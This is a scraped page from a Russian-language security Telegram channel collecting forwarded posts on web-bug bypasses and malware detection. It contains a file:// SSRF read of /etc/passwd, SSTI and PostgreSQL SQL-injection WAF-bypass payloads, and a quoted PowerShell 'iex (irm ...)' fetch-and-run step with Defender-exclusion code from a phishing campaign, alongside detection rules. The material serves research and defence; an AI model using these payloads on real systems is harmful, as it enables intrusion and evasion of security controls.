Fsecurity | HH
2.06K subscribers
1.73K photos
105 videos
62 files
6.18K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from вольтаж
file://localhost/etc/passwd
что вернёт?

Да, вернётся /etc/passwd.

В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>

Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.

питон пок

from urllib.request import urlopen

content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')

print(content)


Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.

В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?


Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.

Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49


Уже на стену лезешь? Погоди, я с тобой ещё не закончил.

Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?

В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱


# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png


RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %

То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.

. . .

FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]

⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]

⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]


Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]

2. иной подход к протоколу file:// [^]

3. пролом parse_url в PHP [^]


#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from 8ug8ear
Иногда сложно снаружи оценить влияние бага на бизнес

В прошлом посте я говорила об анализе влияния уязвимости на систему с точки зрения бизнеса. Но делать это снаружи бывает сложно. Не всегда занимаюсь анализом активов вендоров, иногда хочется просто зайти на пару часов и поискать баги. Режим развлекательный, как в CTF. Что-то могу упустить или сам бизнес считает эту фичу не критичной.

Часть багов я промахиваюсь с оценкой иногда повышая, а иногда понижая судя по дубликатам и тому, что иногда поднимают уровень или платят выше вилки (спасибо за рыбу).

Нашла баг, оценила ее как "Медиум". Вендор понизил до "Низкого" со следующим комментарием.

Получился практически анекдот. Это что получается багхантер санитар леса? Тут у меня 0 вопросов - полностью согласна с вендором, но смеюсь с этого очень сильно.
Forwarded from Заметки Слонсера (Slonser)
Осознал что не все подписаны на меня в соц сети Илона Маска, поэтому возможно буду дублировать сюда некоторые посты
На выходных нашел SQLi в PostgreSQL приложении. Обычно я не пишу про такие находки, но этот случай показался достаточно интересным.

Инъекция была path-based (/api/v2/.../INJECTION_POINT/...), и путь не url декодился. Пробелы, слеши, кавычки и скобки приводили к 400 Bad Request.

Придумал обход используя dollar-quoting синтаксис PostgreSQL:

$$0$$OR-0-$$0$$NOTNULL


Как PostgreSQL это парсит:
1. $$0$$ - dollar-quoted строка, автоматически каститься в integer
2. OR - логический оператор
3. -0-$$0$$ - арифметическое выражение
4. NOTNULL - проверка на null (вернет true)

Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +).

Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
Forwarded from Detection is easy
Всем привет! 💻✌️

Давайте разберем способы обхода обнаружения, которые применялись в фишинговой кампании

👨‍💻 Посмотрим TTP:

🔤Атака начинается с ClickFix (имитируется обновление системы: синий экран с процентами - всё привычно), в результате чего запускается удалённый скрипт через mshta.exe

🔤Приложение hta запускает powershell.exe с командлетами iex (irm https://example.com/asf)

🔤Теперь самое интересное. Скачанный ps1 начинает свою работу с повышения привилегий (UAC) и добавления исключений в Windows Defender


$uQVLE622ThHArk = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
$uQVLE622ThHArk +=
"; Add-MpPreference -ExclusionPath '$env:WINDIR"
$uQVLE622ThHArk +=
; Add-MpPreference -ExclusionPath '$env: TEMP"
$uQVLE622ThHArk +=
Add-MpPreference -ExclusionPath '$env: USERPROFILE"
$uQVLE622ThHArk +=
Add-MpPreference -ExclusionPath '$env:APPDATA"
$uQVLE622ThHArk += ";
Add-MpPreference -ExclusionPath '$env: LOCALAPPDATA"
$uQVLE622ThHArk += "; Add-MpPreference -ExclusionIpAddress '178.16.55.189', '94.154.35. 25'


🔤Для повышения привилегий атакующие запускают powershell.exe с аргументом -Verb RunAs


$aXNXjSqHUpLoYk = Start-Process powershell.exe
-ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass - Command
`$ErrorActionPreference='Stop'; $uQVLE622ThHArk" `
-Verb RunAs `
-PassThru


И, судя по отчёту, этот функционал запускается в цикле до тех пор, пока пользователь не согласится выдать привилегии

🔤Последним этапом идёт установка RAT или стилера

🔭 Обнаружение:

🔤 отслеживаем аргументы powershell Add-MpPreference, Set-MpPreference, -Exclusion*

🔤 отслеживаем создание новых значений в ключах реестра HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\

🔤 отслеживаем события
ProviderName = "Microsoft-Windows-Windows Defender/Operational" AND EventId=5007 AND NewValue contains "Microsoft\Windows Defender\Exclusions"

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Proxy Bar
This media is not supported in your browser
VIEW IN TELEGRAM
Внедрение DLL в процесс проводника с помощью иконок
*
IconJector